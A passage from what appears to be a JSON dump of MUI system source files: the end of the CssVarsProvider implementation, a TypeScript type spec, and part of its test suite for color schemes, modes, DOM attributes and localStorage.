designSystemTransitionOnChange = false,\n    defaultColorScheme,\n    resolveTheme,\n  } = options;\n\n  const defaultContext = {\n    allColorSchemes: [],\n    colorScheme: undefined,\n    darkColorScheme: undefined,\n    lightColorScheme: undefined,\n    mode: undefined,\n    setColorScheme: () => {},\n    setMode: () => {},\n    systemMode: undefined,\n  };\n\n  const ColorSchemeContext = React.createContext(undefined);\n\n  if (process.env.NODE_ENV !== 'production') {\n    ColorSchemeContext.displayName = 'ColorSchemeContext';\n  }\n\n  const useColorScheme = () => React.useContext(ColorSchemeContext) || defaultContext;\n\n  const defaultColorSchemes = {};\n  const defaultComponents = {};\n\n  function CssVarsProvider(props) {\n    const {\n      children,\n      theme: themeProp,\n      modeStorageKey = defaultModeStorageKey,\n      colorSchemeStorageKey = defaultColorSchemeStorageKey,\n      disableTransitionOnChange = designSystemTransitionOnChange,\n      storageManager,\n      storageWindow = typeof window === 'undefined' ? undefined : window,\n      documentNode = typeof document === 'undefined' ? undefined : document,\n      colorSchemeNode = typeof document === 'undefined' ? undefined : document.documentElement,\n      disableNestedContext = false,\n      disableStyleSheetGeneration = false,\n      defaultMode: initialMode = 'system',\n      forceThemeRerender = false,\n      noSsr,\n    } = props;\n    const hasMounted = React.useRef(false);\n    const upperTheme = muiUseTheme();\n    const ctx = React.useContext(ColorSchemeContext);\n    const nested = !!ctx && !disableNestedContext;\n\n    const initialTheme = React.useMemo(() => {\n      if (themeProp) {\n        return themeProp;\n      }\n      return typeof defaultTheme === 'function' ? defaultTheme() : defaultTheme;\n    }, [themeProp]);\n    const scopedTheme = initialTheme[themeId];\n    const restThemeProp = scopedTheme || initialTheme;\n    const {\n      colorSchemes = defaultColorSchemes,\n      components = defaultComponents,\n      cssVarPrefix,\n    } = restThemeProp;\n    const joinedColorSchemes = Object.keys(colorSchemes)\n      .filter((k) => !!colorSchemes[k])\n      .join(',');\n    const allColorSchemes = React.useMemo(\n      () => joinedColorSchemes.split(','),\n      [joinedColorSchemes],\n    );\n    const defaultLightColorScheme =\n      typeof defaultColorScheme === 'string' ? defaultColorScheme : defaultColorScheme.light;\n    const defaultDarkColorScheme =\n      typeof defaultColorScheme === 'string' ? defaultColorScheme : defaultColorScheme.dark;\n    const defaultMode =\n      colorSchemes[defaultLightColorScheme] && colorSchemes[defaultDarkColorScheme]\n        ? initialMode\n        : colorSchemes[restThemeProp.defaultColorScheme]?.palette?.mode ||\n          restThemeProp.palette?.mode;\n\n    // 1. Get the data about the `mode`, `colorScheme`, and setter functions.\n    const {\n      mode: stateMode,\n      setMode,\n      systemMode,\n      lightColorScheme,\n      darkColorScheme,\n      colorScheme: stateColorScheme,\n      setColorScheme,\n    } = useCurrentColorScheme({\n      supportedColorSchemes: allColorSchemes,\n      defaultLightColorScheme,\n      defaultDarkColorScheme,\n      modeStorageKey,\n      colorSchemeStorageKey,\n      defaultMode,\n      storageManager,\n      storageWindow,\n      noSsr,\n    });\n\n    let mode = stateMode;\n    let colorScheme = stateColorScheme;\n\n    if (nested) {\n      mode = ctx.mode;\n      colorScheme = ctx.colorScheme;\n    }\n\n    if (process.env.NODE_ENV !== 'production') {\n      if (forceThemeRerender && !restThemeProp.vars) {\n        console.warn(\n          [\n            'MUI: The `forceThemeRerender` prop should only be used with CSS theme variables.',\n            'Note that it will slow down the app when changing between modes, so only do this when you cannot find a better solution.',\n          ].join('\\n'),\n        );\n      }\n    }\n\n    // `colorScheme` is undefined on the server and hydration phase\n    let calculatedColorScheme = colorScheme || restThemeProp.defaultColorScheme;\n    if (restThemeProp.vars && !forceThemeRerender) {\n      calculatedColorScheme = restThemeProp.defaultColorScheme;\n    }\n\n    const memoTheme = React.useMemo(() => {\n      // 2. get the `vars` object that refers to the CSS custom properties\n      const themeVars = restThemeProp.generateThemeVars?.() || restThemeProp.vars;\n\n      // 3. Start composing the theme object\n      const theme = {\n        ...restThemeProp,\n        components,\n        colorSchemes,\n        cssVarPrefix,\n        vars: themeVars,\n      };\n      if (typeof theme.generateSpacing === 'function') {\n        theme.spacing = theme.generateSpacing();\n      }\n\n      // 4. Resolve the color scheme and merge it to the theme\n      if (calculatedColorScheme) {\n        const scheme = colorSchemes[calculatedColorScheme];\n        if (scheme && typeof scheme === 'object') {\n          // 4.1 Merge the selected color scheme to the theme\n          Object.keys(scheme).forEach((schemeKey) => {\n            if (scheme[schemeKey] && typeof scheme[schemeKey] === 'object') {\n              // shallow merge the 1st level structure of the theme.\n              theme[schemeKey] = {\n                ...theme[schemeKey],\n                ...scheme[schemeKey],\n              };\n            } else {\n              theme[schemeKey] = scheme[schemeKey];\n            }\n          });\n        }\n      }\n\n      return resolveTheme ? resolveTheme(theme) : theme;\n    }, [restThemeProp, calculatedColorScheme, components, colorSchemes, cssVarPrefix]);\n\n    // 5. Declaring effects\n    // 5.1 Updates the selector value to use the current color scheme which tells CSS to use the proper stylesheet.\n    const colorSchemeSelector = restThemeProp.colorSchemeSelector;\n    useEnhancedEffect(() => {\n      if (\n        colorScheme &&\n        colorSchemeNode &&\n        colorSchemeSelector &&\n        colorSchemeSelector !== 'media'\n      ) {\n        const selector = colorSchemeSelector;\n        let rule = colorSchemeSelector;\n        if (selector === 'class') {\n          rule = `.%s`;\n        }\n        if (selector === 'data') {\n          rule = `[data-%s]`;\n        }\n        if (selector?.startsWith('data-') && !selector.includes('%s')) {\n          // 'data-mui-color-scheme' -> '[data-mui-color-scheme=\"%s\"]'\n          rule = `[${selector}=\"%s\"]`;\n        }\n        if (rule.startsWith('.')) {\n          colorSchemeNode.classList.remove(\n            ...allColorSchemes.map((scheme) => rule.substring(1).replace('%s', scheme)),\n          );\n          colorSchemeNode.classList.add(rule.substring(1).replace('%s', colorScheme));\n        } else {\n          const matches = rule.replace('%s', colorScheme).match(/\\[([^\\]]+)\\]/);\n          if (matches) {\n            const [attr, value] = matches[1].split('=');\n            if (!value) {\n              // for attributes like `data-theme-dark`, `data-theme-light`\n              // remove all the existing data attributes before setting the new one\n              allColorSchemes.forEach((scheme) => {\n                colorSchemeNode.removeAttribute(attr.replace(colorScheme, scheme));\n              });\n            }\n            colorSchemeNode.setAttribute(attr, value ? value.replace(/\"|'/g, '') : '');\n          } else {\n            colorSchemeNode.setAttribute(rule, colorScheme);\n          }\n        }\n      }\n    }, [colorScheme, colorSchemeSelector, colorSchemeNode, allColorSchemes]);\n\n    // 5.2 Remove the CSS transition when color scheme changes to create instant experience.\n    // credit: https://github.com/pacocoursey/next-themes/blob/b5c2bad50de2d61ad7b52a9c5cdc801a78507d7a/index.tsx#L313\n    React.useEffect(() => {\n      let timer;\n      if (disableTransitionOnChange && hasMounted.current && documentNode) {\n        const css = documentNode.createElement('style');\n        css.appendChild(documentNode.createTextNode(DISABLE_CSS_TRANSITION));\n        documentNode.head.appendChild(css);\n\n        // Force browser repaint\n        (() => window.getComputedStyle(documentNode.body))();\n\n        timer = setTimeout(() => {\n          documentNode.head.removeChild(css);\n        }, 1);\n      }\n      return () => {\n        clearTimeout(timer);\n      };\n    }, [colorScheme, disableTransitionOnChange, documentNode]);\n    React.useEffect(() => {\n      hasMounted.current = true;\n      return () => {\n        hasMounted.current = false;\n      };\n    }, []);\n\n    const contextValue = React.useMemo(\n      () => ({\n        allColorSchemes,\n        colorScheme,\n        darkColorScheme,\n        lightColorScheme,\n        mode,\n        setColorScheme,\n        setMode:\n          process.env.NODE_ENV === 'production'\n            ? setMode\n            : (newMode) => {\n                if (memoTheme.colorSchemeSelector === 'media') {\n                  console.error(\n                    [\n                      'MUI: The `setMode` function has no effect if `colorSchemeSelector` is `media` (`media` is the default value).',\n                      'To toggle the mode manually, please configure `colorSchemeSelector` to use a class or data attribute.',\n                      'To learn more, visit https://mui.com/material-ui/customization/css-theme-variables/configuration/#toggling-dark-mode-manually',\n                    ].join('\\n'),\n                  );\n                }\n                setMode(newMode);\n              },\n        systemMode,\n      }),\n      [\n        allColorSchemes,\n        colorScheme,\n        darkColorScheme,\n        lightColorScheme,\n        mode,\n        setColorScheme,\n        setMode,\n        systemMode,\n        memoTheme.colorSchemeSelector,\n      ],\n    );\n\n    let shouldGenerateStyleSheet = true;\n    if (\n      disableStyleSheetGeneration ||\n      restThemeProp.cssVariables === false ||\n      (nested && upperTheme?.cssVarPrefix === cssVarPrefix)\n    ) {\n      shouldGenerateStyleSheet = false;\n    }\n\n    const element = (\n      <React.Fragment>\n        <ThemeProvider themeId={scopedTheme ? themeId : undefined} theme={memoTheme}>\n          {children}\n        </ThemeProvider>\n        {shouldGenerateStyleSheet && (\n          <GlobalStyles styles={memoTheme.generateStyleSheets?.() || []} />\n        )}\n      </React.Fragment>\n    );\n\n    if (nested) {\n      return element;\n    }\n\n    return (\n      <ColorSchemeContext.Provider value={contextValue}>{element}</ColorSchemeContext.Provider>\n    );\n  }\n\n  CssVarsProvider.propTypes = {\n    /**\n     * The component tree.\n     */\n    children: PropTypes.node,\n    /**\n     * The node used to attach the color-scheme attribute\n     */\n    colorSchemeNode: PropTypes.any,\n    /**\n     * localStorage key used to store `colorScheme`\n     */\n    colorSchemeStorageKey: PropTypes.string,\n    /**\n     * The default mode when the storage is empty,\n     * require the theme to have `colorSchemes` with light and dark.\n     */\n    defaultMode: PropTypes.string,\n    /**\n     * If `true`, the provider creates its own context and generate stylesheet as if it is a root `CssVarsProvider`.\n     */\n    disableNestedContext: PropTypes.bool,\n    /**\n     * If `true`, the style sheet won't be generated.\n     *\n     * This is useful for controlling nested CssVarsProvider behavior.\n     */\n    disableStyleSheetGeneration: PropTypes.bool,\n    /**\n     * Disable CSS transitions when switching between modes or color schemes.\n     */\n    disableTransitionOnChange: PropTypes.bool,\n    /**\n     * The document to attach the attribute to.\n     */\n    documentNode: PropTypes.any,\n    /**\n     * If `true`, theme values are recalculated when the mode changes.\n     */\n    forceThemeRerender: PropTypes.bool,\n    /**\n     * The key in the local storage used to store current color scheme.\n     */\n    modeStorageKey: PropTypes.string,\n    /**\n     * If `true`, the mode will be the same value as the storage without an extra rerendering after the hydration.\n     * You should use this option in conjunction with `InitColorSchemeScript` component.\n     */\n    noSsr: PropTypes.bool,\n    /**\n     * The storage manager to be used for storing the mode and color scheme\n     * @default using `window.localStorage`\n     */\n    storageManager: PropTypes.func,\n    /**\n     * The window that attaches the 'storage' event listener.\n     * @default window\n     */\n    storageWindow: PropTypes.any,\n    /**\n     * The calculated theme object that will be passed through context.\n     */\n    theme: PropTypes.object,\n  };\n\n  const defaultLightColorScheme =\n    typeof defaultColorScheme === 'string' ? defaultColorScheme : defaultColorScheme.light;\n  const defaultDarkColorScheme =\n    typeof defaultColorScheme === 'string' ? defaultColorScheme : defaultColorScheme.dark;\n\n  const getInitColorSchemeScript = (params) =>\n    InitColorSchemeScript({\n      colorSchemeStorageKey: defaultColorSchemeStorageKey,\n      defaultLightColorScheme,\n      defaultDarkColorScheme,\n      modeStorageKey: defaultModeStorageKey,\n      ...params,\n    });\n\n  return { CssVarsProvider, useColorScheme, getInitColorSchemeScript };\n}\n"
  },
  {
    "path": "packages/mui-system/src/cssVars/createCssVarsProvider.spec.tsx",
    "content": "import * as React from 'react';\nimport { OverridableStringUnion } from '@mui/types';\nimport { unstable_createCssVarsProvider as createCssVarsProvider } from '@mui/system';\n\ninterface JoyColorSchemeOverrides {}\n\ntype JoyExtendedColorScheme = OverridableStringUnion<never, JoyColorSchemeOverrides>;\n\ntype JoyColorScheme = 'light' | 'dark' | JoyExtendedColorScheme;\n\ninterface JoyThemeInput {\n  colorSchemes?: Partial<Record<JoyColorScheme, { palette?: { primary?: { main?: string } } }>>;\n  fontSize?: { md?: string };\n}\n\n// Simulate color scheme extending, same as module augmentation in real application\ninterface JoyColorSchemeOverrides {\n  comfort: true;\n  trueDark: true;\n}\n\nconst extendTheme = (themeInput: JoyThemeInput) =>\n  ({\n    colorSchemes: {\n      light: { palette: { primary: { main: '' } } },\n      dark: { palette: { primary: { main: '' } } },\n    },\n    fontSize: { md: '' },\n  }) as {\n    colorSchemes: Record<JoyColorScheme, { palette: { primary: { main: string } } }>;\n    fontSize: { md: string };\n  };\n\nconst { CssVarsProvider, useColorScheme } = createCssVarsProvider<JoyColorScheme>({\n  defaultColorScheme: 'light',\n  theme: {\n    fontSize: {\n      md: '1rem',\n    },\n    colorSchemes: {\n      light: {\n        palette: {\n          primary: {\n            500: '#007FFF',\n          },\n        },\n      },\n    },\n  },\n});\n\nfunction Content() {\n  const { setColorScheme } = useColorScheme();\n  React.useEffect(() => {\n    // @ts-expect-error 'yellow' is not typed in JoyExtendedColorScheme\n    setColorScheme('yellow');\n\n    setColorScheme('comfort');\n    setColorScheme('light');\n  }, [setColorScheme]);\n  return null;\n}\n\nfunction App() {\n  return (\n    <CssVarsProvider\n      theme={extendTheme({\n        colorSchemes: {\n          comfort: {},\n          trueDark: {},\n          // @ts-expect-error `yellow` is not an extended color scheme\n          yellow: {},\n        },\n      })}\n    />\n  );\n}\n\nfunction App2() {\n  return (\n    <CssVarsProvider\n      theme={extendTheme({\n        colorSchemes: {\n          comfort: {},\n          trueDark: {},\n        },\n        // @ts-expect-error `fontSize` should be an object\n        fontSize: '12px',\n      })}\n      // @ts-expect-error `yellow` is not an extended color scheme\n      defaultColorScheme=\"yellow\"\n    />\n  );\n}\n"
  },
  {
    "path": "packages/mui-system/src/cssVars/createCssVarsProvider.test.js",
    "content": "import { expect } from 'chai';\nimport { spy } from 'sinon';\nimport { createRenderer, screen, fireEvent } from '@mui/internal-test-utils';\nimport { ThemeProvider } from '@mui/system';\nimport createCssVarsTheme from './createCssVarsTheme';\nimport createCssVarsProvider, { DISABLE_CSS_TRANSITION } from './createCssVarsProvider';\nimport {\n  DEFAULT_ATTRIBUTE,\n  DEFAULT_MODE_STORAGE_KEY,\n} from '../InitColorSchemeScript/InitColorSchemeScript';\nimport useTheme from '../useTheme';\n\ndescribe('createCssVarsProvider', () => {\n  const { clock, render } = createRenderer();\n  let originalMatchmedia;\n  let storage = {};\n  const createMatchMedia = (matches) => () => ({\n    matches,\n    // Keep mocking legacy methods because @mui/material v5 still uses them\n    addListener: () => {},\n    addEventListener: () => {},\n    removeListener: () => {},\n    removeEventListener: () => {},\n  });\n\n  beforeEach(() => {\n    originalMatchmedia = window.matchMedia;\n\n    // Create mocks of localStorage getItem and setItem functions\n    Object.defineProperty(window, 'localStorage', {\n      value: {\n        getItem: spy((key) => storage[key]),\n        setItem: spy((key, value) => {\n          storage[key] = value;\n        }),\n      },\n      configurable: true,\n    });\n\n    // clear the localstorage\n    storage = {};\n    window.matchMedia = createMatchMedia(false);\n  });\n\n  afterEach(() => {\n    window.matchMedia = originalMatchmedia;\n  });\n\n  describe('[Design System] CssVarsProvider', () => {\n    it('has specified default colorScheme', () => {\n      const { CssVarsProvider, useColorScheme } = createCssVarsProvider({\n        theme: createCssVarsTheme({\n          colorSchemes: { light: {} },\n        }),\n        defaultColorScheme: 'light',\n      });\n      function Consumer() {\n        const { colorScheme } = useColorScheme();\n        return <div data-testid=\"current-color-scheme\">{colorScheme}</div>;\n      }\n      render(\n        <CssVarsProvider>\n          <Consumer />\n        </CssVarsProvider>,\n      );\n\n      expect(screen.getByTestId('current-color-scheme').textContent).to.equal('light');\n    });\n\n    it('provide getColorSchemeSelector util', () => {\n      const { CssVarsProvider } = createCssVarsProvider({\n        theme: createCssVarsTheme({\n          colorSchemeSelector: '[data-custom-color-scheme=\"%s\"]',\n          colorSchemes: { light: { palette: { primary: { 500: '#ff5252' } } } },\n        }),\n        defaultColorScheme: 'light',\n      });\n      function Text() {\n        const theme = useTheme();\n        return <div data-testid={`text`}>{theme.getColorSchemeSelector('light')}</div>;\n      }\n      render(\n        <CssVarsProvider>\n          <Text />\n        </CssVarsProvider>,\n      );\n\n      expect(screen.getByTestId('text').textContent).to.equal(\n        '[data-custom-color-scheme=\"light\"] &',\n      );\n    });\n\n    it('can access to allColorSchemes', () => {\n      const { CssVarsProvider, useColorScheme } = createCssVarsProvider({\n        theme: createCssVarsTheme({\n          colorSchemes: {\n            light: {},\n            dark: {},\n          },\n        }),\n        defaultColorScheme: 'light',\n      });\n      function Consumer() {\n        const { allColorSchemes } = useColorScheme();\n        return <div data-testid=\"all-colorSchemes\">{allColorSchemes.join(',')}</div>;\n      }\n      const view = render(\n        <CssVarsProvider>\n          <Consumer />\n        </CssVarsProvider>,\n      );\n\n      expect(screen.getByTestId('all-colorSchemes').textContent).to.equal('light,dark');\n\n      view.rerender(\n        <CssVarsProvider\n          theme={createCssVarsTheme({\n            colorSchemes: { light: {}, dark: {}, comfort: { palette: { color: '#e5e5e5' } } },\n          })}\n        >\n          <Consumer />\n        </CssVarsProvider>,\n      );\n\n      expect(screen.getByTestId('all-colorSchemes').textContent).to.equal('light,dark,comfort');\n    });\n\n    it('can set new colorScheme', () => {\n      const { CssVarsProvider, useColorScheme } = createCssVarsProvider({\n        theme: createCssVarsTheme({\n          colorSchemes: { light: {}, dark: {} },\n        }),\n        defaultColorScheme: 'light',\n      });\n      function Consumer() {\n        const { colorScheme, setColorScheme } = useColorScheme();\n        return (\n          <div>\n            <div data-testid=\"current-color-scheme\">{colorScheme}</div>\n            <button onClick={() => setColorScheme('dark')}>change to dark</button>\n          </div>\n        );\n      }\n      render(\n        <CssVarsProvider>\n          <Consumer />\n        </CssVarsProvider>,\n      );\n\n      fireEvent.click(screen.getByRole('button', { name: 'change to dark' }));\n\n      expect(screen.getByTestId('current-color-scheme').textContent).to.equal('dark');\n      expect(document.documentElement.getAttribute(DEFAULT_ATTRIBUTE)).to.equal('dark');\n    });\n\n    it('display error if nonexistent colorScheme is set', () => {\n      const { CssVarsProvider, useColorScheme } = createCssVarsProvider({\n        theme: createCssVarsTheme({\n          colorSchemes: { light: {} },\n        }),\n        defaultColorScheme: 'light',\n      });\n      function Consumer() {\n        const { setColorScheme } = useColorScheme();\n        return <button onClick={() => setColorScheme('foo')}>change to dark</button>;\n      }\n\n      render(\n        <CssVarsProvider>\n          <Consumer />\n        </CssVarsProvider>,\n      );\n\n      expect(() =>\n        fireEvent.click(screen.getByRole('button', { name: 'change to dark' })),\n      ).toErrorDev('`foo` does not exist in `theme.colorSchemes`.');\n    });\n\n    it('does not create css var if shouldSkipGeneratingVar return true', () => {\n      const { CssVarsProvider } = createCssVarsProvider({\n        theme: createCssVarsTheme({\n          colorSchemes: {\n            light: {\n              typography: {\n                htmlFontSize: '16px',\n                h1: {\n                  fontSize: '1rem',\n                  fontWeight: 500,\n                },\n              },\n            },\n          },\n          shouldSkipGeneratingVar: (keys) => keys[0] === 'typography' && keys[1] === 'h1',\n        }),\n        defaultColorScheme: 'light',\n      });\n      function Consumer() {\n        const theme = useTheme();\n        return <div data-testid=\"h1\">{theme.vars.typography.h1 || ''}</div>;\n      }\n      expect(() =>\n        render(\n          <CssVarsProvider>\n            <Consumer />\n          </CssVarsProvider>,\n        ),\n      ).not.toErrorDev(); // if `h1` is skipped, there will be no error.\n    });\n\n    it('vars are merged from all colorSchemes regardless of selected color scheme', () => {\n      const { CssVarsProvider } = createCssVarsProvider({\n        theme: createCssVarsTheme({\n          colorSchemes: {\n            light: {\n              palette: {\n                primary: '#000',\n              },\n            },\n            dark: {\n              palette: {\n                grey: '#888',\n              },\n            },\n          },\n        }),\n        defaultColorScheme: 'light',\n      });\n      function Consumer() {\n        const theme = useTheme();\n        return (\n          <div>\n            <div>{theme.vars.palette.primary || ''}</div>\n            <div>{theme.vars.palette.grey || ''}</div>\n          </div>\n        );\n      }\n      render(\n        <CssVarsProvider>\n          <Consumer />\n        </CssVarsProvider>,\n      );\n      expect(screen.getByText('var(--palette-primary)')).not.to.equal(null);\n      expect(screen.getByText('var(--palette-grey)')).not.to.equal(null);\n    });\n\n    describe('[option]: `disableTransitionOnChange`', () => {\n      clock.withFakeTimers();\n\n      beforeEach(() => {\n        document.head.replaceChildren([]);\n      });\n\n      it('disable all css transitions when switching between modes, given `disableTransitionOnChange` is true', () => {\n        const { CssVarsProvider, useColorScheme } = createCssVarsProvider({\n          theme: createCssVarsTheme({\n            colorSchemes: { light: {}, dark: {} },\n          }),\n          defaultColorScheme: {\n            light: 'light',\n            dark: 'dark',\n          },\n          disableTransitionOnChange: true,\n        });\n        function Consumer() {\n          const { mode, setMode } = useColorScheme();\n          return (\n            <div>\n              <div data-testid=\"current-mode\">{mode}</div>\n              <button onClick={() => setMode('dark')}>change to dark</button>;\n            </div>\n          );\n        }\n        render(\n          <CssVarsProvider>\n            <Consumer />\n          </CssVarsProvider>,\n        );\n        clock.runToLast();\n        expect(document.head.children[document.head.children.length - 1]?.textContent).not.to.equal(\n          DISABLE_CSS_TRANSITION,\n        );\n        fireEvent.click(screen.getByRole('button', { name: 'change to dark' }));\n        expect(document.head.children[document.head.children.length - 1]?.textContent).to.equal(\n          DISABLE_CSS_TRANSITION,\n        );\n        expect(screen.getByTestId('current-mode').textContent).to.equal('dark');\n\n        clock.runToLast();\n        expect(document.head.children[document.head.children.length - 1]?.textContent).not.to.equal(\n          DISABLE_CSS_TRANSITION,\n        );\n      });\n\n      it('disable all css transitions when switching between color schemes, given `disableTransitionOnChange` is true', () => {\n        const { CssVarsProvider, useColorScheme } = createCssVarsProvider({\n          theme: createCssVarsTheme({\n            colorSchemes: { light: {}, dark: {} },\n          }),\n          defaultColorScheme: {\n            light: 'light',\n            dark: 'dark',\n          },\n          disableTransitionOnChange: true,\n        });\n        function Consumer() {\n          const { colorScheme, setColorScheme } = useColorScheme();\n          return (\n            <div>\n              <div data-testid=\"current-color-scheme\">{colorScheme}</div>\n              <button onClick={() => setColorScheme('dark')}>change to dark</button>;\n            </div>\n          );\n        }\n        render(\n          <CssVarsProvider>\n            <Consumer />\n          </CssVarsProvider>,\n        );\n        clock.runToLast();\n        expect(document.head.children[document.head.children.length - 1]?.textContent).not.to.equal(\n          DISABLE_CSS_TRANSITION,\n        );\n        fireEvent.click(screen.getByRole('button', { name: 'change to dark' }));\n        expect(document.head.children[document.head.children.length - 1]?.textContent).to.equal(\n          DISABLE_CSS_TRANSITION,\n        );\n        expect(screen.getByTestId('current-color-scheme').textContent).to.equal('dark');\n\n        clock.runToLast();\n        expect(document.head.children[document.head.children.length - 1]?.textContent).not.to.equal(\n          DISABLE_CSS_TRANSITION,\n        );\n      });\n\n      it('do not disable all css transitions when switching between modes, given `disableTransitionOnChange` is false', () => {\n        const { CssVarsProvider, useColorScheme } = createCssVarsProvider({\n          theme: createCssVarsTheme({\n            colorSchemes: { light: {}, dark: {} },\n          }),\n          defaultColorScheme: 'light',\n          disableTransitionOnChange: false,\n        });\n        function Consumer() {\n          const { mode, setMode } = useColorScheme();\n          return (\n            <div>\n              <div data-testid=\"current-mode\">{mode}</div>\n              <button onClick={() => setMode('dark')}>change to dark</button>;\n            </div>\n          );\n        }\n        render(\n          <CssVarsProvider>\n            <Consumer />\n          </CssVarsProvider>,\n        );\n\n        expect(document.head.children[document.head.children.length - 1]?.textContent).not.to.equal(\n          DISABLE_CSS_TRANSITION,\n        );\n        fireEvent.click(screen.getByRole('button', { name: 'change to dark' }));\n        expect(document.head.children[document.head.children.length - 1]?.textContent).not.to.equal(\n          DISABLE_CSS_TRANSITION,\n        );\n        expect(screen.getByTestId('current-mode').textContent).to.equal('dark');\n      });\n\n      it('do not disable all css transitions when switching between color schemes, given `disableTransitionOnChange` is false', () => {\n        const { CssVarsProvider, useColorScheme } = createCssVarsProvider({\n          theme: createCssVarsTheme({\n            colorSchemes: { light: {}, dark: {} },\n          }),\n          defaultColorScheme: 'light',\n          disableTransitionOnChange: false,\n        });\n        function Consumer() {\n          const { colorScheme, setColorScheme } = useColorScheme();\n          return (\n            <div>\n              <div data-testid=\"current-color-scheme\">{colorScheme}</div>\n              <button onClick={() => setColorScheme('dark')}>change to dark</button>;\n            </div>\n          );\n        }\n        render(\n          <CssVarsProvider>\n            <Consumer />\n          </CssVarsProvider>,\n        );\n\n        expect(document.head.children[document.head.children.length - 1]?.textContent).not.to.equal(\n          DISABLE_CSS_TRANSITION,\n        );\n        fireEvent.click(screen.getByRole('button', { name: 'change to dark' }));\n        expect(document.head.children[document.head.children.length - 1]?.textContent).not.to.equal(\n          DISABLE_CSS_TRANSITION,\n        );\n        expect(screen.getByTestId('current-color-scheme').textContent).to.equal('dark');\n      });\n    });\n  });\n\n  describe('DOM', () => {\n    it('attach default dataset on html', () => {\n      const { CssVarsProvider, useColorScheme } = createCssVarsProvider({\n        theme: createCssVarsTheme({\n          colorSchemes: { light: {}, dark: {} },\n        }),\n        defaultColorScheme: { light: 'light', dark: 'dark' },\n      });\n      function Toggle() {\n        const { mode, setMode } = useColorScheme();\n        return (\n          <button\n            onClick={() => {\n              setMode('dark');\n            }}\n          >\n            {mode}\n          </button>\n        );\n      }\n      render(\n        <CssVarsProvider>\n          <Toggle />\n        </CssVarsProvider>,\n      );\n\n      expect(document.documentElement.getAttribute(DEFAULT_ATTRIBUTE)).to.equal('light');\n\n      fireEvent.click(screen.getByRole('button'));\n\n      expect(document.documentElement.getAttribute(DEFAULT_ATTRIBUTE)).to.equal('dark');\n    });\n\n    it('attach class on html', () => {\n      const { CssVarsProvider, useColorScheme } = createCssVarsProvider({\n        theme: createCssVarsTheme({\n          colorSchemeSelector: 'class',\n          colorSchemes: { light: {}, dark: {} },\n        }),\n        defaultColorScheme: { light: 'light', dark: 'dark' },\n      });\n      function Toggle() {\n        const { mode, setMode } = useColorScheme();\n        return (\n          <button\n            onClick={() => {\n              setMode('dark');\n            }}\n          >\n            {mode}\n          </button>\n        );\n      }\n      render(\n        <CssVarsProvider>\n          <Toggle />\n        </CssVarsProvider>,\n      );\n\n      expect(document.documentElement.classList.contains('light')).to.equal(true);\n\n      fireEvent.click(screen.getByRole('button'));\n\n      expect(document.documentElement.classList.contains('light')).to.equal(false);\n      expect(document.documentElement.classList.contains('dark')).to.equal(true);\n\n      document.documentElement.classList.remove('dark'); // cleanup\n    });\n\n    it('attach data- on html', () => {\n      const { CssVarsProvider, useColorScheme } = createCssVarsProvider({\n        theme: createCssVarsTheme({\n          colorSchemeSelector: 'data',\n          colorSchemes: { light: {}, dark: {} },\n        }),\n        defaultColorScheme: { light: 'light', dark: 'dark' },\n      });\n      function Toggle() {\n        const { mode, setMode } = useColorScheme();\n        return (\n          <button\n            onClick={() => {\n              setMode('dark');\n            }}\n          >\n            {mode}\n          </button>\n        );\n      }\n      render(\n        <CssVarsProvider>\n          <Toggle />\n        </CssVarsProvider>,\n      );\n\n      expect(document.documentElement.getAttribute('data-light')).to.equal('');\n\n      fireEvent.click(screen.getByRole('button'));\n\n      expect(document.documentElement.getAttribute('data-light')).to.equal(null);\n      expect(document.documentElement.getAttribute('data-dark')).to.equal('');\n    });\n\n    it('use custom attribute', () => {\n      const { CssVarsProvider, useColorScheme } = createCssVarsProvider({\n        theme: createCssVarsTheme({\n          colorSchemeSelector: 'data-foo-bar',\n          colorSchemes: { light: {}, dark: {} },\n        }),\n        defaultColorScheme: { light: 'light', dark: 'dark' },\n      });\n      function Toggle() {\n        const { mode, setMode } = useColorScheme();\n        return (\n          <button\n            onClick={() => {\n              setMode('dark');\n            }}\n          >\n            {mode}\n          </button>\n        );\n      }\n      render(\n        <CssVarsProvider>\n          <Toggle />\n        </CssVarsProvider>,\n      );\n\n      expect(document.documentElement.getAttribute('data-foo-bar')).to.equal('light');\n\n      fireEvent.click(screen.getByRole('button'));\n\n      expect(document.documentElement.getAttribute('data-foo-bar')).to.equal('dark');\n    });\n\n    it('does not crash if documentNode is null', () => {\n      const { CssVarsProvider } = createCssVarsProvider({\n        theme: createCssVarsTheme({\n          colorSchemes: { light: {} },\n        }),\n        defaultColorScheme: 'light',\n      });\n\n      expect(() => render(<CssVarsProvider documentNode={null} />)).not.to.throw();\n    });\n\n    it('does not crash if colorSchemeNode is null', () => {\n      const { CssVarsProvider } = createCssVarsProvider({\n        theme: createCssVarsTheme({\n          colorSchemes: { light: {} },\n        }),\n        defaultColorScheme: 'light',\n      });\n\n      expect(() => render(<CssVarsProvider colorSchemeNode={null} />)).not.to.throw();\n    });\n  });\n\n  describe('Storage', () => {\n    const { CssVarsProvider, useColorScheme } = createCssVarsProvider({\n      theme: createCssVarsTheme({\n        colorSchemes: { light: {}, dark: {} },\n      }),\n      defaultColorScheme: 'light',\n    });\n    function Consumer() {\n      const { mode, setMode } = useColorScheme();\n      return (\n        <div>\n          <div data-testid=\"current-mode\">{mode}</div>\n          <button onClick={() => setMode('dark')}>change to dark</button>\n        </div>\n      );\n    }\n\n    it('should save mode to localStorage', () => {\n      render(\n        <CssVarsProvider>\n          <Consumer />\n        </CssVarsProvider>,\n      );\n\n      fireEvent.click(screen.getByRole('button', { name: 'change to dark' }));\n\n      expect(window.localStorage.setItem.calledWith(DEFAULT_MODE_STORAGE_KEY, 'dark')).to.equal(\n        true,\n      );\n    });\n\n    it('should use mode from localStorage if exists', () => {\n      storage[DEFAULT_MODE_STORAGE_KEY] = 'dark';\n\n      render(\n        <CssVarsProvider>\n          <Consumer />\n        </CssVarsProvider>,\n      );\n\n      expect(screen.getByTestId('current-mode').textContent).to.equal('dark');\n    });\n\n    it('use custom modeStorageKey', () => {\n      const customModeStorageKey = 'foo-mode';\n      storage[customModeStorageKey] = 'dark';\n\n      render(\n        <CssVarsProvider modeStorageKey={customModeStorageKey}>\n          <Consumer />\n        </CssVarsProvider>,\n      );\n\n      expect(screen.getByTestId('current-mode').textContent).to.equal('dark');\n    });\n\n    it('support custom storage window', () => {\n      const storageWindow = {\n        addEventListener: (key, handler) => {\n          if (key === 'storage') {\n            handler({ key: DEFAULT_MODE_STORAGE_KEY, newValue: 'dark' });\n          }\n        },\n        removeEventListener: () => {},\n      };\n      render(\n        <CssVarsProvider storageWindow={storageWindow}>\n          